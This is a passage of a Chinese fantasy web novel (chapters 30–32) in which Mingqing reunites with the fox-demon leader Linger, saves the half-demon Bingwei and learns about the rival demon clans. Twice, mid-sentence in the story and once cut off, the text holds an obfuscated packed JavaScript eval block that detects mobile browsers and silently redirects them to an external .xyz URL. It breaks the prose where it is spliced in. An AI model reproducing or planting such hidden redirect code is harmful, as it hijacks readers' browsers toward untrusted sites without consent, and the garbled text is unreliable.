白女狐瞟了几人一眼:“他们可信吗?” 明青默默点头。 白女狐就不再管他们,像小动物一样歪了下头,嘴角带着小小的笑容,眼神专注的看着明青。 “你长大了,但还是没怎么变,我第一眼就认出你了。” 明青跟她对视片刻,指尖抚上了她腰间的香囊。 “灵儿?真的是你?” 灵儿坐的离她近了些,将下巴放在她的肩膀上,模样十分可爱,跟刚才的狠厉形成了巨大的反差。 “是我!你认出我了,我很高兴。” 明青心情复杂的摸了摸她的头发。 “原来你竟是妖,怪不得你不怕我,当年发生什么事了?你怎么会那个样子?” 灵儿嘟了嘟嘴。 “当年族中生变,我被暗算重伤,不得已退回了幼年模样,口不能言的流落在外,幸亏你救了我,不然我很可能就没命了。” 明青:“你后来怎么离开了?” 灵儿摸了摸心口,有些难过的说道。 “有人假扮成我族中子弟,险些毁了我们,我流落在外时,能感觉到爹娘越来越虚弱,归心似箭,等我回来时,他们虽然还活着,却已经无力主持众多狐子狐孙,我只能接下重任。” 原来是这样,明青又问:“那他们现在怎么样了?” “过世了,不过没关系,我自己已经可以了。” 她眼睛亮亮的,似乎是在向她寻求夸奖。 明青露出了点儿心疼的神色,揉了揉她的耳朵。 “你很厉害,辛苦你了。” 灵儿笑的很甜蜜,脑袋在她身上蹭了蹭。 “不过你怎么来佘渊了?我还以为我这辈子都见不到你了呢。” 明青拿出了那盒内丹递给她。 “我们准备参加白界的大比,在此之前想要来这里找一下这些内丹的主人。” 灵儿打开盒子,看清里面的内丹后挑了挑眉。 “你们问到了吗?” 明青摇头:“他们不肯说,你知道怎么回事儿吗?” 灵儿又将盒子合上,轻轻一笑,刚才那种甜美娇俏的感觉就消失了,现在坐在他们面前的,是白女狐族的族长。 “你们当然问不到,他们没有那个胆子说。” 她将盒子还给了明青。 “这里面有一枚九乙木丹,一枚牯鹏丹,几枚比较常见的内丹,和两枚,水妖丹。” 灵儿漫不经心的勾起头发缠绕在指尖把玩。 “要知道,水妖几乎不在陆地上行走,一次性支使两只水妖,再加上九乙木,能做到这件事的,我想应该只有一只妖。” 明青目光如炬:“谁?” 灵儿没什么表情的回道。 “闻潺。” 30. 协济六 闻潺? 云修泽总觉得自己从哪里听说过这个名字,但一时间想不起来。 “不好意思,打断一下,如果我没猜错的话,你就是明青幼时救过的那只小灰狐狸?”云修泽问道。 灵儿挑了挑眉,看了明青一眼后,冲他笑道。 “不错,没想到你们竟知道这件事。” 云修泽觉得她的笑容有点假,但又说不上来。 “闻潺这个名字我总觉得在哪儿听过。” 明青说:“水妖闻潺。” 云修泽骤然被点醒。 “竟然是他,那就怪不得了。” 水妖闻潺,水族的无冕之王,莫说水族任他驱使,就连四大妖族也和他多有合作,他的性情古怪,出手狠辣,耳目遍布佘渊,没有妖会愿意冒着得罪他的风险帮他们找内丹主人的。 灵儿:“他怎么会找上你们?” 明青回她道:“我们争夺同一样东西,和他的手下交过手。” 她这么说灵儿就明白了,顿时就皱起了眉,说道。 “你们要参与镜双子的事儿?” 明青:“你知道?” 灵儿的表情并不轻松。 “这是自然,他近些年派了不少好手暗中行动,目的我们是能猜到的,你们必须要跟他争地图吗?” “是的,我们有我们的理由。” 云修云突然问起。 “这次大比的魁首可以得到一份地图,那个闻潺会不会也派妖来参加?” 灵儿轻巧往后一靠,双手交叠搭在身上,笃定道。 “他不会的,除非他想引起各方注意。” 云修泽:“那你们呢?四大家族对于魁首只怕也不会轻易放手吧。” “不。” 出乎意料的是,灵儿很果断的否认了。 “镜双子的东西,我们虽然也会觊觎,但现在四族互相牵制,实力大差不差,这份地图无论落到哪族手里,都无疑是块烫手山芋,是以,我们虽然仍然会争夺魁首,但就算得到了,恐怕也不会将地图留在手中。” 见几人都看着她,她耸了耸肩:“毕竟魁首能得到的不止地图。” 各种想法在云修泽脑海中一闪而过,他们现在已经搞清楚了唐家那几只妖的来历,但事情的复杂程度远不是他们现在可以解决,而目前最紧迫的事情,除了大比,还有秉唯。 “你既然说你第一眼就认出了明青,那为什么还要跟我们打?” 灵儿看他一眼,哼笑道:“老大,嗯?” 云修泽皮笑肉不笑,默认了她的话。 灵儿在明青看不见的地方冲云修泽翻了个白眼儿。 “我认识她又不认识你们,你们藏了我们要找的妖怪,害我们多费了那么多功夫,还不能让我打你们一顿了?更何况,你们跟她在一起,我也要试探试探你们的实力。” 云修泽继续保持假笑:“怎么样?你还满意吗?” 灵儿装模作样的叹了口气。 “唉,也就还行吧,勉强过关。” 明青扭头看向身侧的灵儿。 “秉唯,你为什么要抓他?” 灵儿看上去像是极力克制住了自己冷嘲热讽的态度,只不过语气仍然不太好,她嗤笑道。 “秉唯?你们竟还为那个半妖取了个名字?” 见明青不动仍然在看着她,她没办法,无甚意趣的解释道。 “那个半妖是我娘当年被人暗算,被迫所生,我也是去年才知道竟还有这么个孽种流落在外,我一直没能找到他,直到今年他过了十二之数,体内的白女狐血脉有了第一层觉醒,才让我感知到他的位置,自然要抓回族中处置。” 明青皱眉,几人都没想到秉唯的另一半儿血脉竟然来自于白女狐。 唐思月有些不忍心。 “你母亲被人暗算并非是他的过错,半妖之躯,存活已是艰难,灵姑娘何苦为难于他?” 灵儿对唐思月的态度倒是要好上不少。 “叫我灵儿就可以,他身上既然有白女狐的血脉,就断不可能放任自流,我知道这并非是他的过错,可他的存在就代表了我白女狐一脉被人算计的不堪,我要拿他祭奠我逝去的亲狐,所以他必须死,而且必须死在白女狐族。” 她的话说的没有一点儿回寰的余地,云修泽觉得有点儿难办,正在他思考对策的时候,明青开口说道。 “我希望你能留他一命。” 灵儿一下子向她看去,眼睛一眨不眨的盯着她。 “理由?” “我救了他,就像我当年救了你。” 灵儿缓缓说道:“你在要求我还你救命之恩?” 她身上的妖气慢慢的开始溢出体外,散发出一种危险的气息,似乎只要明青的回答不合她的意,她就能马上翻脸不认人。 明青并未动摇,有条不紊的说。 “他很有天赋,十二的年岁,不过还是只幼崽,你当时在我身边时也是幼体,我知道你的各种能力都十分出色,但就我所知的秉唯,半妖,天赋之强恐怕还要高于你,你若能认可他,只待他成长起来,就绝对会是你不可或缺的左膀右臂,现在你孤身支撑着白女狐族与其他三族平起平坐,有了他,来日未必不能再上一个台阶。” 她一口气说了很多话,而且很明显,她给的理由灵儿也能接受,只从她逐渐消散的妖气便可察觉一二。 可她仍然没有答应他们的请求,讽刺道。 “不过是只卑贱的半妖,血统糅杂的东西,哪里就有姐姐说的那么大能耐呢?” 云修泽突然出声。 “你看不起半妖?” 灵儿抬眼冷冷的看着他。 “是又如何,半妖大多寿数不长,不同的血统让他们无法在妖力和灵力上有太大的造化,甚至不能化形,更有甚者,血脉还不能好好融合,只能终身承受身体撕裂的痛苦,我也是帮他解脱了不是吗?” 云修泽十指交错放在膝盖上。 “你也说了是大多,并非没有例外,据我所知,水妖闻潺,就是半妖之身。” 灵儿的面色不太好看,显然也知道这件事。 现在她的体内有两种声音在不断争辩着,一个说他只是个卑贱的半妖,是阴谋遗留的祸害,她应该杀了他。 可另一种声音又说,他们说的对,自己没有其他兄弟姐妹,如果这个半妖真能如闻潺一般,那么无疑将会给白女狐族带来很大的助力。 她冷着脸权衡,最终道。 “好吧,看在姐姐的面子上,我可以暂时不要他的命,但他究竟有没有那个能力,我还要再观察观察。” 几人都松了一口气,明青也放松了些不自觉紧绷的身体。 “谢谢。” 对于秉唯是否能通过她的考验,明青并不担心,他的确很有天赋。 灵儿又粘了回去,模样十分真诚。 “姐姐,你不用跟我道谢,你救过我的命,我会给你一切你想要的。” 云修泽向下撇了撇嘴,他看可不尽然。 “好了,就先这样吧,我们的事情办完了,离白界大比还有一小段时日,我们要离开佘渊了,你们大比时再见?” 灵儿好像有些不舍,将挽着明青的手抽出来,柔弱无骨的环在了她的脖颈上,倚在她身上,神态十分惹人怜爱,可说出的话却并不是什么感人的道别。 “可是,我觉得你们不能走,跟我回白女狐族吧,我信得过姐姐,却信不过你们,那个半妖滑不溜手十分难搞,若你们跟他玩儿个里应外合,我可没那个闲工夫再去找他,更何况,闻潺有众多耳目,你们刚刚闹了那么大动静,又在影玖面前称作我的姐妹,为了避免现在就引起他的怀疑,你们最好不要马上就离开佘渊。” 其实她说的没错,虽然闻潺那种大人物注意到他们的可能性不大,可谨慎起见,他们的确应该再留一段时日。 但灵儿锋利的指甲在明青脖子上若有若无的试探让几人都沉下了脸,她做的很隐蔽,明青似乎并未察觉。 灵儿又转眼将目光投向明青。 “姐姐你救了他,肯定也不放心他的情况吧,我们两个又那么久没有见面,你难道都不想灵儿吗?你和你朋友跟我住一段日子,大比之时我们再一起启程,不好吗?” 眼见着灵儿的长甲轻松削断了明青的几根头发,云修泽不爽的抵了抵牙根,假笑道。 “好啊,正好不用我们自己找住的地方了。” 灵儿眼波流转,面上带了点儿得逞的笑意,就像一只真正的狐狸。 * 四大妖族皆是群居,但画地盘儿的天性又让他们无法忍受居住在同一屋檐之下,所以每一族都在佘渊有相当大的一块儿领地,或紧凑或稀疏的建起了不同的宅邸,所有的族众都会住在那里,能在领地出现的,就只有他们自己和他们的从属。 马车吱呀,缓缓驶入了白女狐族的领地。 几人都没有卸下自己的伪装,这里是众妖之地,纵然灵儿是族长,几人也不会拿自己的性命安危开玩笑。 唐思月倒是卸下了易容,易容本来就是为了防止引起其他妖族的注意,可既然现在已经到了灵儿的地盘,她就没有必要再继续保持了。 白女狐不仅自己的姿容绝佳,也十分喜爱好颜色。 自从唐思月恢复成自己本来的容貌,灵儿就不再整天黏在明青身边,至少有一半儿的时间眼睛都放在唐思月身上。 她的确有一种令人词穷的美,若不是本身柔和的气质中和,只怕妖族的特征会让她原本就摄人心魄的美貌变得更加锋利而张扬。 灵儿的视线常常让唐思月觉得有些不自在,但她也没有办法说什么,因为灵儿只是单纯的喜欢和欣赏,并没有多说或者做些什么。 车窗外,几乎所有的白女狐都在道路两侧,似乎在簇拥着这辆载着他们族长的马车。 但他们的态度都算不上有多庄重和尊敬,全都松散的站着,还有很多神情轻松的在和旁边的同族小声调笑。 若按照接待族长的礼仪来说的话,就是十分的不成样子,可偏偏每当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009193|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车经过他们身边的时候,他们又会停下交谈,微微向马车垂首,等马车驶过他们,他们才会恢复那派轻松模样。 白女狐族无论男女,皆可称得上一句美人儿。 众多佳人聚在一起,画面十分的养眼,就更不要说这是一群生来就善于玩弄人心的狐狸了。 莺莺燕燕、燕肥环瘦、各色千秋。 骑马走在外面的云修泽三人,因为被认为是族长的侍从而受到了不少欢迎,或者说调戏。 有不少行事奔放的白女狐会往他们身上扔点儿小东西来逗弄他们。 三人中,云修泽是最受欢迎的那一个,身为一只青鬼,就算从属于族长,也应该没有那个胆子拒绝被其他白女狐扔来的这些无足轻重的小玩意儿,所以他全盘照收,直到最后,这些东西多的让他不得不收进了玉佩中。 眼见着云修泽如此受美人欢迎,明青微抿双唇,眼中说不清的有了一丝暗色。 唐思月和灵儿对视一眼,都露出了揶揄的笑意。 云修云又一次接住了扔在他身上的,不知是什么东西做成的肉干儿,拉着马绳放缓了速度,挪到唐思月的窗边,低着头,用一脸严肃,像是要汇报什么东西的表情问道。 “不是说白女狐族都是绝色美人儿吗?我觉得他们倒是称不上绝色,甚至有不少只算得上清秀,这是为什么?” 马车内的三人都听到了他的问话,灵儿轻轻嗤笑一声没有说话,其实作为族长,她的容貌也只算得上上佳,不比马车内的其他两人,也远称不上绝色。 唐思月见她似乎并不介意的样子,于是扭头和云修云轻声解释起来。 “嗯...其实白女狐族之所以在摆弄人心上如此擅长,并不是仅仅因为他们的美貌,更多的时候是来源于他们的巧言善辩和神韵,你仔细看,就会发现他们无论容貌是否出色,眼睛都无一例外的很美。” 云修云顺着唐思月的话暗暗的扫视了一圈,发现的确是如此,他们的眼睛就像是有钩子一般,让人看了第一眼,就忍不住想再看第二眼。 唐思月接着说道。 “他们是妖,很长的时间里,种族天性让他们站在异族的角度上观察和利用着人心,再加上白女狐天生的魅惑,几乎让他们无往而不利,所以即使他们的容貌不算尤其出挑,千百年来也被传成了绝色。” 云修云了然的点头,原来竟然是这样,人们口口相传之事,也不尽然是事情的本真,天地之大,他们的所知所想,只怕仍是浅薄。 灵儿带着意味不明的笑意对唐思月说。 “月姑娘,你对我们的了解,不浅啊。” 唐思月点头微微一笑。 “见笑了,家中杂书众多,我幼时无事所干,闲暇时多翻了翻些罢了。” 记录了他们种族的杂书?灵儿哼笑两声,挪开视线,没有再说些什么 灵儿作为族长,宅邸处在领地最中心,当他们到了地方,她就安排下去,为他们准备了住所和差使。 云修泽本想之后找明青单独说说话,灵儿却先一步说道。 “姐姐,你我许久未见,我很想你,今晚能不能和我一起睡?我们姐妹好好聊聊。” 她在明青面前一向很柔,但和唐思月那种令人如沐春风的温柔不同,灵儿更偏向于娇柔和柔媚,说话有的时候和撒娇没什么两样。 见明青点头同意,她眼中的笑意就多了几分。 “不过。”明青开口,“我想先见见秉唯。” 灵儿的唇角不易察觉的向下落了些,很快又重新变了回去,她说道。 “好啊,你们去,我就不去了,离开了些时日,族中还有事情需要我处理,我叫从属带你们去。” 说罢,她抬手叫来了旁边一个长了三只眼睛,看不出本体是什么的女使,低声交代了几句,就笑着和她们道别离开了。 几人在女使的带领下穿过了一个很大的园子,越走越偏僻,最终来到了一座阴湿的地牢。 女使掌灯,将他们带到了关押着秉唯的那一处后,就无声无息的低头消失在阴影处。 几人借着昏暗的烛火,逐渐看清了他的模样。 他跪在那里,低垂着头似乎陷入了昏迷,手臂粗的铁链上刻着特殊的符文,看上去十分沉重,牢牢钳制着他的双手。 瘦小单薄的身体上布满了凌乱的伤口,若不是还能察觉到胸口细微的起伏,恐怕所有人都会以为他已经没了命。 “天呐!”唐思月双手捂着脸颊惊呼。 云修泽三人也都皱着眉头,明青蹲下身,一只手抓住了栏杆,轻声喊道。 “秉唯?” 秉唯似乎并没有被唤醒,仍然一动不动,几人谁都没有说话,安静的等待着,直到明青又喊了一声,锁链才发出了点儿声响。 秉唯艰难的抬起了脸,血污糊住了他的眼睛,他尝试了好几次才勉强睁开。 几人不知道他会有什么反应,可等他看清几人的样子时,居然颤颤巍巍的扯起了一个笑容。 “姐...姐......” 31. 协济七 他这一声叫的让人心里难过,明青站起身,招来候在暗处的侍从。 “把门打开。” “是。” 侍从十分恭顺的上前将门打开了。 几人进到里面,发觉里面要比外面湿冷很多,一个受了重伤的孩子,长时间呆在这里,只怕会伤上加伤,严重的还会在体内留下无法抹除的病根。 “秉唯不怕,我们来了。” “嗯!”秉唯扯起一个难看的笑脸。 明青想要将他放下来,却在三步之外被阵法拦了下来,阵法以秉唯为中心明暗闪烁,铁链上的符文也随之亮起,若是强行突破,只怕反而会伤了他。 云修泽看了一眼立在旁边的侍从,给唐思月递了一个眼神,唐思月了然,上前轻轻按住了明青的肩膀,让她稍微放松了些,转头对侍从说道。 “还不快把他放下来。” “是。”侍从如同刚才给他们开门一般,很是顺从地执行了这个命令。 云修泽眼神一动,秉唯被抓回来的时候就算没有张扬,看上去也绝对是族中重犯,这个侍从敢这么轻易就放了他,想来是灵儿提前交代过的缘故。 明青接住秉唯,见秉唯想要张嘴说话,摇摇头制止了他,随即将他抱了起来,他的身形本就瘦小,现在又伤痕累累,抱在怀里让人忍不住变得小心翼翼。 云修泽见他猫儿一样把脑袋埋进了明青的怀里,虽然知道他只是个小孩子,没有必要在意,心里却还是有些不爽,于是迈步上前将秉唯接了过来,毕竟这就是侍从的本分。 秉唯在他怀里就不像刚刚在明青怀里一样了,甚至在明青看不见的地方冲云修泽小小的翻了个白眼以示不爽。 好小子,你给我等着。 云修泽面上不露声色,灵力却快速在秉唯体内走了一圈儿,发现他的伤几乎全是皮肉伤,就算是有内伤,也算不上严重,以他半妖的体质,绝到不了刚才那种虚弱程度,居然是在装样子。 只能说不愧是流着白女狐的血,天生就懂得怎么博取别人的同情和怜爱。 几人出了地牢,明青就吩咐侍从带路,要到灵儿给她安排的住所去,侍从不慌不忙的低头说道。 “族长已为这位小公子安排了住处。” 明青一顿:“那就去他那里。” “是。” 几人跟着他来到了一处比较偏僻的小院,房屋简陋,但整体也算得上干净,甚至还有两三个扫洒的侍从,灵儿对她这个半路杀出来的便宜弟弟,虽然没有将他看做白女狐族的妖,却也不算苛待。 侍从在门口停下:“就是这里了,我会在门外等候两位大人。” 几人找到了房屋的主屋,将秉唯放在了床上。 明青坐到床边,唐思月也坐到旁边的圆凳上,剩下的三人则都站在近处,云修泽双手环抱,用冷淡的眼神审视着他。 明青:“你可知你的血脉?” 秉唯点头,笑容带上了点儿苦涩。 “我从未想到我的身世竟是这样,不过我只是个半妖,现在还没有被处死,想必是姐姐的功劳,秉唯要谢过姐姐多次的救命之恩。” 说着,他就作势要爬起来。 明青冷静的将他按回去。 “我只是正巧和你们族长有旧罢了,我知你向来聪明,你应该明白,我就算有心要保你,也不可能过多插手妖族内部之事。” 秉唯点头,声音虚弱。 “我明白的,现在秉唯还能活着,已属意外之喜,可若想继续活下去,还要烦请姐姐指点。” 一旁的云修泽轻笑一声。 “现在事情已经有了让你喘息的余地,以你的本事,只怕不用问别人,自己也可以活下去。” 秉唯被他这么一说,神情无措的去看明青,眼睛里透露出不安和恐惧,但他没有开口求助,单单是这副模样,已足够叫人心软。 明青警告的看了一眼云修泽,他耸耸肩膀,不再说话。 明青安抚着秉唯说道。 “没事,我们会在这里待上一段日子。” 秉唯听闻,神情放松了些,挪动着身体靠近了明青,在求得她的同意后,扑进了她的怀里。 云修云怀疑他哥的后牙槽都要咬碎了。 明青抚摸着秉唯的头。 “现在的白女狐族势单力薄,可能是因为你血脉融合的很好的原因,导致你的天赋十分出众,所以想要让你们族长认可你,在这里活下去,你就要表现出你的价值,明白吗?” 秉唯在她怀里点头,依恋的又将明青圈紧了些。 几人陪他待了一会儿,就在他将要睡着的时候,明青开口问道。 “她是你血脉上的姐姐,可她对你不好,你会恨她吗?” “不。”秉唯的脸埋在她怀里,传出来的声音闷闷的,听不出他的情绪。 “这次,如果我努力的话,我就要有家了,对不对?” 几人皆是无言,唐思月也似乎被他勾起了伤心事,捂着脸扭过了头。 云修云手足无措,伸着手放在她肩膀上,想要说两句宽慰之言,却又不知该从何说起。 行愿靠过来,对云修云点头,将唐思月轻轻按到了怀中。 云修云看着行愿怀中唐思月的背影,在背后慢慢的攥紧了双手。 “对。”过了一会儿明青才反应过来,语气变得轻缓,她慢慢抚摸着他毛茸茸的头顶,说道。 “这次你努力的话,你就会有家了。” 秉唯渐渐睡去,几人将他在床上放好就出去了,门口的侍从还在那里,见几人出来就弯腰行了个礼,准备带他们去各自的住处。 明青吩咐道:“给他找个大夫。” “是。”侍从应下,转身开始带路。 云修云小声问:“怎么不让思月给他看看?” 云修泽回道:“我们现在在白女狐的地盘,一是要维持她们白女狐的身份,思月那里的药对妖起作用的少,专门要的话肯定会引起注意,二是隐藏实力,谨慎些总不会出错。” 云修云点头,看着前方唐思月的背影,又想起了刚才的情景。 思月,司越,她的名字和他的剑同音,第一次听到时,他甚至是窃喜的,她对他来说,就如同真正的九天之月一般,他常常欢喜的望着,可渐渐的,他就开始想要靠近一些。 这样一个女子,温柔、坚强、聪慧、乐观、包容、从不自怨自艾,远超常人的美貌只是她其中的一个优点,云修云愿意将世界上所有美好的话都堆叠到她的身上。 他如何能够不被吸引?他又如何能够不动心? 所以他想要靠近他的月亮,但明月高悬,云修云也自知,对于唐思月,他差之远矣。 月亮是属于自己的月亮,若是妄想打败所有的星星,做离月亮最近的那颗,他还不够好。 云修云快步追上了唐思月,低头问道。 “能不能等等我?” 唐思月有些奇怪,但还是依他所言放慢了脚步,云修云默默的将自己的步伐速度调整成和她一样,两人并肩而行。 晚上,灵儿如约来到了明青的院子,一人一妖洗漱过后,便一起躺在了床上。 明青:“秉唯性情不错,你何不与他好好相处?” 灵儿冷笑:“我饶他一命已是格外开恩,狐狸崽子哪有蠢的,我对他有杀心,若不给他套个嘴套,来日难保反咬我一口。” “也许吧。” 明青看着床帐,并不反驳。 “不过你可以给他一个机会,白女狐在四族中是亲缘最紧密的一族,也许你们真的能建立起一份亲情。” 灵儿沉默良久。 “族中圣地,可前往试炼,九死一生,等他痊愈,我会让他前去,若他能活着出来,我认他这个弟弟就是。” 明青:“是什么试炼?” 灵儿摇头“抱歉,姐姐,这是族中密辛,我不会透露的。” 明青点点头表示明白:“好,我知道了。” 两人分别将这几年经历的事细细说来,如同闺中好友一般,未曾因数年离别而疏远。 * 比起分院而居,五人更喜欢待在一处,因着灵儿给明青安排的住处最大,所以几人都默契的来到了这里。 制药的制药,切磋的切磋,还有的直接挑了间屋子进去打坐了,虽然都没什么正事,但聚在一起总归是安心许多。 傍晚,几人在一起用了饭后就陆陆续续回了自己的院子,只剩下了明青自己和云修泽。 云修泽半躺在屋檐下,十分惬意,明青从屋内拿出一壶清酒和两只酒杯。 “来点吗?” 云修泽一笑:“美人奉酒,岂敢推辞?” 明青十分习以为常,根本不为所动,坐下后给云修泽递了一只。 云修泽拿着酒杯轻轻晃动,看月光洒在酒面,映出波澜的光。 垂眸微抿一口后说道。 “这个灵儿并不是个好相与的。” 明青双手握着酒杯放在膝盖上,抬头望着夜空。 “我知道。” 云修泽:“你知道?知道她拿你的命威胁我们?” 明青淡然道。 “她是妖,天性里就没有和人族和谐共处这一条,更何况她以如今这般年岁,独自支撑着庞大的白女狐族,再如何喜怒无常,再如何警惕,也都是说得过去的。” 云修泽无言,一口饮尽了杯中的酒,又拿起酒壶给自己倒了一杯。 “你信她?” 明青与他轻轻碰杯。 “你知道我是如何认出她的吗?” 云修泽摇头,她就接着说道。 “她腰间挂的荷包,是我曾经特意让绣娘做出来,亲手挂到她脖子上的,我为她取名灵儿,上面就绣了一个灵字。” 云修泽:“我记得了,她腰间的确挂了这么一个。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013998|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >明青:“我那时一直以为她只是个聪明些的小灰狐狸,闲来无事想教她认字,没想到她竟真的认得,前爪总是放在姐姐这两个字上,眼睛湿漉漉的看着我。” 云修泽想象了一下那个情景,觉得明青肯定受不了。 明青:“我根本受不了,恨不得到哪里都揣着她。” 哈,云修泽低头无声的笑起来。 明青疑惑的看着他,不知他在笑什么。 云修泽冲她摆摆手,她就将此事抛在了脑后。 “我原本还不太确定,直到她叫了我一声姐姐,她真正的年岁应该比我大上许多,会叫我姐姐,也只有这一个可能了。” 她说到现在,云修泽哪里还有不明白的呢。 这一人一妖是有情分在的,身份虽有差异,可情却做不得假,防备是真,信任亦是真,于是也不再讨论她是否可信。 “秉唯呢?你怎么想?这小子可没那么单纯。” 明青似乎是笑了一下。 “很有意思,不是吗?” 云修泽撇撇嘴,明青接着说道。 “灵儿会让他在养好伤后去参加族中试炼,能不能活下来,要靠他自己。” 云修泽:“你不担心?” 明青:“我要如何担心才够?毕竟是他的事情,还是要靠他自己。” 明青这个人,冷淡却又善良,她能平静的接受不纯粹但是真挚的情意,可以付出很多东西去拯救一条萍水相逢的性命,也可以做到轻松的放手。 若问云修泽为何将情之一字系在了她的身上,这就是答案了。 初见的动心,在与她相识后,慢慢变为了倾心,这一切快的都让云修泽感到措手不及,明明知道两人之间并不是毫无阻碍,却还是难以自控。 云修泽歪头笑着,将空了的酒杯递上去。 明青为他斟满一杯,叮嘱他道。 “慢些喝,仔细醉酒。” 云修泽心满意足的拿着被斟满的酒杯。 “美人何出此言?在酒之前,我就已经先醉于你了。” 明青说他花言巧语,却并无责备之意。 “对于闻潺你怎么想?” 云修泽思索片刻,说道。 “只要我们还在收集地图,就无可避免的会遇见他的人,甚至最后我们会对上他本人,但现在我们还是要避其锋芒。” 明青言简意赅道:“他的耳目众多。” 云修泽点头:“我明白,拿到地图,我们立马就要离开。” 明青:“那个影玖?” 云修泽:“雾面影,应该是追着灵儿来的,我们碰巧遇上罢了,大比在即,四族之间恐怕都会互相试探一番。” 他们现在住在白女狐族,见过了雾面影族的少主,四族中,九乙木又和闻潺联系最深,和他们交过一次手,就只剩下爻池仙还未曾碰见。 云修泽暗笑,这佘渊,真是不来就罢,一来,碰上的就全是最不好惹的。 就着月光,一壶清酒就这么逐渐见了底。 五人在灵儿的府上住了一段日子,除了每过几日去看看秉唯以外,就只有灵儿偶尔会来,日子过得倒还算是清闲。 一日,灵儿留在这里与他们用午饭,云修云好奇的问。 “你也能与我们吃同样的东西吗?” 灵儿十分自然的夹着菜。 “当然,有的食材对人族有好处,对妖族也同样有好处,再者说,味道也不差,虽不管饱,但满足一下口腹之欲却是足够了。” 云修云点头,没再问她吃什么才能吃饱。 有侍从上来禀报,说是秉唯来了这里。 几人向门口处望去,就见他羞怯的探出了半张脸。 他的恢复能力很好,这段日子已经伤养的差不多了,现在已经能下地自如行走,只是还不能快跑。 府中的侍从对他的态度很奇怪,既不恭敬,也不曾轻视,只能说是将他视若无物,想必灵儿的态度就决定了他们的态度。 明青招招手将他叫了过来,揽着他的肩膀,让他对着灵儿。 “这是你姐姐。” “姐姐。” 秉唯并未像对明青一样小心翼翼的卖乖,反而要坦荡上许多。 云修泽知道,因为他们同是白女狐,在灵儿面前装样子,根本就不会引起她的恻隐之心,更大的可能则是会引起她的反感,这样比来,倒不如用自己的真性子对着她。 灵儿并未停筷,听他叫了声姐姐,斜眼打量了一下,也没应声,满不在乎的说道。 “坐下一起吃吧。” 有侍从上前添了一副碗筷和椅子,秉唯并不拘束,坐了下来。 “谢谢姐姐。” 灵儿还是没有回他,自顾自的吃着。 五人互相看了看,这对姐弟的相处十分奇怪,一个冷淡,一个恭敬,却又都对对方的态度毫不在意,这样的场景,只怕是还要持续一段日子。 32. 协济八 “白女狐,我们跟灵儿交过手,你们应该已经有了初步的判断。” 云修泽指着水幕上一只赤足白身的狐狸说道。 “他们最出名的,就是障术、媚术和追踪术,总而言之,他们的天赋主要集中在‘幻’之一字上,世上拥有类似天赋的妖族众多,可唯有白女狐在此一道上登峰造极,那日灵儿与我们交手,只怕因着明青的缘故,并未用尽全力,所以,如果我们在大比中遇到他们,绝不可因此轻敌,明白吗?” 见几人点头,他就伸手在水幕上轻轻一抹,画面中的狐狸就变成了一个面上附着黑雾的男子的模样。 “雾面影族,我们那日遇见的影玖就是他们的少主,行九,与其他三族不同的是,他们虽然在乎亲缘,却也没那么在乎,由同一对父母所出的子女会彼此吞噬,直到剩下最后一个,影玖出生最晚,但却最强,他吞噬了他所有的兄姐。” “唔呃——”云修云恶寒。 云修泽微微一笑,接着说道。 “他们的种族天赋如同他们的名字一般,可以在所有的阴影中自由穿梭,这点非常难搞,可以说是我们在大比中,会遇到的最强的对手。” 说罢,他又抬手换了个画面,变成了一颗巨大繁茂,但看上去阴气沉重的树。 “这是九乙木,他们最开始出现的时候,并不被列在妖族之中,而是一种天生灵木,和他们伴生出现的,是一种名为十甲木的树种,他们如同双生子,彼此制衡,彼此调停,可十甲木却随着时间的流逝消失了,只剩下了九乙木,九为极数,乙木属阴,没了十甲木,他们就渐渐堕妖了。” “他们很强吗?我感觉我们在唐家遇到的那个也不怎么样啊。”云修云皱眉。 云修泽点头:“你可不要小瞧了他们,在唐家遇到的那个,大概率不是他们族中的嫡系,不然我们早就上了他们的通缉令了。” 唐思月对他们显然也有了解,接过云修泽的话,面色凝重的说道。 “他们可以称作为万木之王,强就强在可以号令万木,幸亏在大比之时,能上场的只有他们自己,不然他们的棘手程度还要在雾面影之上。” 云修泽赞同道。 “可即便如此,他们也是十分难缠的对手,且不说他们的无孔不入,就说他们的另一个天赋,他们最开始之所以能够被称为灵木,就是因为他们可以在身上短暂的呈现其他树种的特性,比如十甲木的解毒、疗愈、镇定、安抚等等,与之相对,就是九乙木的迷惑、奇毒、阴气等,对,记住最好不要让九乙木在伤口处停留超过一个呼吸的时间,不然他本身的阴气会顺着你的伤口进入到你的体内,想要拔除它很是麻烦。” 云修云有些泄气的趴在桌子上。 “怎么都那么难搞?那最后一个呢?” 画面切换到一个飘着的斗篷上,斗篷的帽檐宽大,看不清里面的面孔,同样也看不到斗篷下的手和脚,他们如同魂魄一般悬浮在空中。 “这是爻池仙,他们几乎不和同族以外的人或者妖交流,是非常神秘的一个族群,有传闻说,他们最初是诞生在一个叫爻池的地方,本体有种如梦似幻的美,这便是他们名字的由来。” 云修泽顿了顿,神色有些凝重。 “他们的能力十分特殊,和白女狐一样体现在‘幻’字上,但不同的是,他们不是近战,而是会把敌人拉进幻境,幻境的内容则是由敌人内心深处的恐惧构成的,每当他们开始构建幻境,以他们为中心,就会散开一片褐色的浓雾,而浓雾之外,就能清楚的看到整个幻境,相当于直接对外界暴露出了你最大的弱点。” 提及此,几人的面色都不太好看,就连行愿放在桌子上的手都在此时握紧。 “不过。” 